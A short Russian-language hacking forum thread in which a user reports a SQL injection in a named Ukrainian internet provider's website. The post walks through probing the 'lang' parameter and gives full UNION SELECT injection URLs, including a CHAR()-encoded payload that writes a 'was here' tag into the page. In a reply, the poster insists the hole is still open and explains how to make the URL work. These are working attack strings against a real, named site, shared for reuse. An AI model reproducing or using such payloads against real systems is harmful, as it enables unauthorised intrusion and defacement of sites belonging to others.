![]() |
гунька
Читал я как то тему на античате что то про провайдеры спорили... хеколи чото там...
тут заметил линк... http://www.intercom.net.ua/index.php?lang=1&menu_id=14==> ==>http://www.intercom.net.ua/index.php?lang='1&menu_id=14 увидил нечисть, пустая страница, но варнингов небыло... затем решил проверить http://www.intercom.net.ua/index.php?lang=2-1&menu_id=14 и о чудо!))) я увидил то же что и по адресу http://www.intercom.net.ua/index.php?lang=1&menu_id=14 кароче ==>http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,2/*&menu_id=14 потом собрал char на http://xtoolz.ru/files/char.php и получил http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,CHAR(32, 60,102,111,110,116,32,99,111,108,111,114,61,34,114 ,101,100,34,32,115,105,122,101,61,34,49,49,34,62,1 08,97,109,97,114,101,122,32,119,97,115,32,104,101, 114,101,32,61,41,41,60,47,102,111,110,116,62)/*&menu_id=14 |
как вижу багу жуе прикрыли
|
нет, багу не прикрыли, я только что обнаружел ведь...
ты пробелы поубирай с урла... я ж написал, варнинг не светится... |
| Время: 19:34 |